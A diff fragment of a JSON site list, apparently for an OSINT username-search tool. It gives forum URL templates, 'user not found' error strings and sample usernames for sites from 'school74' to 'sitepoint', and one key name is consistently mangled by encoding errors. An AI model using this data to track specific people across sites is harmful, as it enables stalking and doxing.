"Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serial1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.serial1forum.com/members/?username={}", + "urlMain": "https://www.serial1forum.com", + "usernameON": "sunti", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + "usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>СЕВАСТОПОЛЬСКИЙ ФОРУМ - Информация", + "errorTyp��": "message", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.sevportal.info", + "usernameON": "DarkWillow", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_sexchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlinefreechat.com/forum/members/?username={}", + "urlMain": "https://onlinefreechat.com", + "usernameON": "honeybear", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sexforum_top": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ru.sexforum.top/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ru.sexforum.top", + "usernameON": "Vzrosliy", + "bad_site": "" + }, + "Forum_sffworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sffworld.com/forum/members/?username={}", + "urlMain": "https://www.sffworld.com", + "usernameON": "redmage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sfinx-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "comments": "cf", + "bad_site": 1 + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradoev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradoevforum.com/members/?username={}", + "urlMain": "https://www.silveradoevforum.com", + "usernameON": "nebula1701", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + 